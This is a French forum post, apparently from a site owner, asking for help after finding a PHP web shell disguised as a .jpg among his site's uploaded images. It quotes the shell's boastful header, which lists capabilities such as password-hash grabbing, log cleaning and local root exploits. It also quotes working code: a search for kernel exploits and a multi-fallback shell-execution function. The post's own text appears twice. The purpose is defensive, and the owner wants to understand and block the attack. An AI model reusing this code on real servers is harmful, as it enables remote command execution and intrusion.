Bonjour,
L'un de mes sites, http://www.dofus2.org, possède un système d'hébergement d'images pour que les membres puissent en joindre aux articles qu'ils y rédigent. La fonctionnalité dispose d'un système de filtrage très sommaire puisqu'elle se contente de refuser les fichiers qui ne sont pas des .jpg, .jpeg, et .png.
En inspectant récemment mes données, j'ai constaté qu'un des fichiers était bizarre. En le consultant, j'ai eu une alerte de mon anti-virus qui m'a signalé la présence d'un cheval de troie alors que j'avais simplement visité la page contenant l'image !
En ouvrant cette image grâce à l'éditeur de texte de mon serveur, j'ai effectivement vu qu'il s'agissait d'un script de 8000 lignes. Voilà le début de ce fichier :
Le fichier continue ensuite en alternant PHP, HTML, des lignes incompréhensible et quelque chose qui m'a l'air de ressembler à du BASH...
Enfin bref, j'ai donc trois questions :
1) Comment fonctionne ce script ? Etant donné que l'extension est en .jpg, je pensais que, à moins de n'utiliser de l'url-rewriting dans un .htaccess (ce que je n'ai pas fait), que je serveur allait interpréter ça comme du simple texte à afficher et que je serais à l'abri. Donc comment se fait-il que je sois tout de même menacé ?
2) Quels sont les risques du fichier ? Aurait-il pu infiltrer mon serveur pour qu'il serve dans des attaques DDOS ou autre ? Quelles précautions dois-je prendre pour m'en assurer ?
3) Quelles précautions dois-je prendre à l'avenir pour éviter que ce type de fichiers soit uploadé ?
Merci de vos lumières
Si quelqu'un voudrait voir le fichier en détail, je peux l'envoyer par e-mail car il est trop gros pour entrer dans ce topic.
L'un de mes sites, http://www.dofus2.org, possède un système d'hébergement d'images pour que les membres puissent en joindre aux articles qu'ils y rédigent. La fonctionnalité dispose d'un système de filtrage très sommaire puisqu'elle se contente de refuser les fichiers qui ne sont pas des .jpg, .jpeg, et .png.
En inspectant récemment mes données, j'ai constaté qu'un des fichiers était bizarre. En le consultant, j'ai eu une alerte de mon anti-virus qui m'a signalé la présence d'un cheval de troie alors que j'avais simplement visité la page contenant l'image !
En ouvrant cette image grâce à l'éditeur de texte de mon serveur, j'ai effectivement vu qu'il s'agissait d'un script de 8000 lignes. Voilà le début de ce fichier :
Code:
<?php
/******************************************************************************************
* kurdish Shell, a modded anti-turk, which is a: $count=0; while($count==0){ echo ' mod of a'; }
*
* VERSION 2 BITCH!!!!
*
* By anti-turk - the 15-year-old hacker :)
*
* Greetz to all my friends in #k.h.t
*
* A big, fat "fuck you" to:
* - HellBound Hackers (you're also part of the next on the list, except you can't even deface!)
* - people who deface because they can't root and think they're 1337
* - idiots who add mail() to their shells so they can log your ownages
* - idiots who add mail() to their shells so they can log your ownages and mess up the variables so it doesn't even work!
* - MPAA, RIAA, and all those other arse-hole anti-p2p organizations
*
* lack of money and parental freedom leaves me with no site to advertise xD
*
*
* Newer Mods (added by me) for v2 --
+--------------------------------------------------------+
* fixed a bug where deleting something from a path that has a space in it would return you to an invalid dir
* fixed the *nix aliases where the cmds were in the name and the names were executed :S
* added md5/sha1 file checksums
* removed fgdump (no need for three programs that do the same f-ing thing :P) !!! 1 mb saved !!!
*
*
* Old Mods (added by me) for v1 --
+--------------------------------------------------------+
* added the trojan executer
* cleaned up the interface in general
* added windows login hash grabber + sam/fg/pwdump2
* added mass code injector (thanks SubSyn)
* added pre-compiled h00lyshit and raptor_chown
* added log cleaners for both *nix and windows
* removed all the shitty/non-working functions in the drop-down boxes
* fixed the google kernel thing (the search variables were fuxxed up)
* made the dir listing easier to read with the alternating bgcolors
* little optimizations in code here and there (i'm an optimization whore tbh)
* submit md5/sha1 hash to cracking sites
* made that awesome logo ;)
* added the disabled php functions thing (took from r57shell)
* added better windows/*nix-specific aliases
* cleaned up the safe-mode bypass functions (wow, some of the shittiest code i've ever seen o_O )
* wordlist md5/sha1 cracker
*
* What I Plan to Do Next --
+--------------------------------------------------------+
* smaller size (somehow) :S
* more sploits
* allow input for dir to unpack exploits to
* better trojans/backdoors
* more functions/aliases
* maybe move stuff around/change theme
* make the php picture in the dir listing white for easier readability
* take a first look at the sql section o.O
* remove:
* - more of those stupid spaces after every line
* - more " and change them to ' for faster execution
* - a bunch of other stupid code things (example: echo("$msg"); (wtf... :S))
*********************************************************/
//milw0rm search
$Lversion = php_uname(r);
$OSV = php_uname(s);
if(eregi('Linux',$OSV))
{
$Lversion=substr($Lversion,0,6);
$millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
}else{
$Lversion=substr($Lversion,0,3);
$millink="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
}
//End of milw0rm search
//w4ck1ng Shell
if (!function_exists('myshellexec'))
{
if(is_callable("popen")){
function myshellexec($command) {
if (!($p=popen("($command)2>&1","r"))) {
return 126;
}
while (!feof($p)) {
$line=fgets($p,1000);
$out .= $line;
}
pclose($p);
return $out;
}
}else{
function myshellexec($cmd)
{
global $disablefunc;
$result = '';
if (!empty($cmd))
{
if (is_callable('exec') and !in_array('exec',$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
elseif (($result = `$cmd`) !== FALSE) {}
elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_resource($fp = popen($cmd,"r")))
{
$result = '';
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
}
return $result;
}
}
}
//etc......
Le fichier continue ensuite en alternant PHP, HTML, des lignes incompréhensible et quelque chose qui m'a l'air de ressembler à du BASH...
Enfin bref, j'ai donc trois questions :
1) Comment fonctionne ce script ? Etant donné que l'extension est en .jpg, je pensais que, à moins de n'utiliser de l'url-rewriting dans un .htaccess (ce que je n'ai pas fait), que je serveur allait interpréter ça comme du simple texte à afficher et que je serais à l'abri. Donc comment se fait-il que je sois tout de même menacé ?
2) Quels sont les risques du fichier ? Aurait-il pu infiltrer mon serveur pour qu'il serve dans des attaques DDOS ou autre ? Quelles précautions dois-je prendre pour m'en assurer ?
3) Quelles précautions dois-je prendre à l'avenir pour éviter que ce type de fichiers soit uploadé ?
Merci de vos lumières
Si quelqu'un voudrait voir le fichier en détail, je peux l'envoyer par e-mail car il est trop gros pour entrer dans ce topic.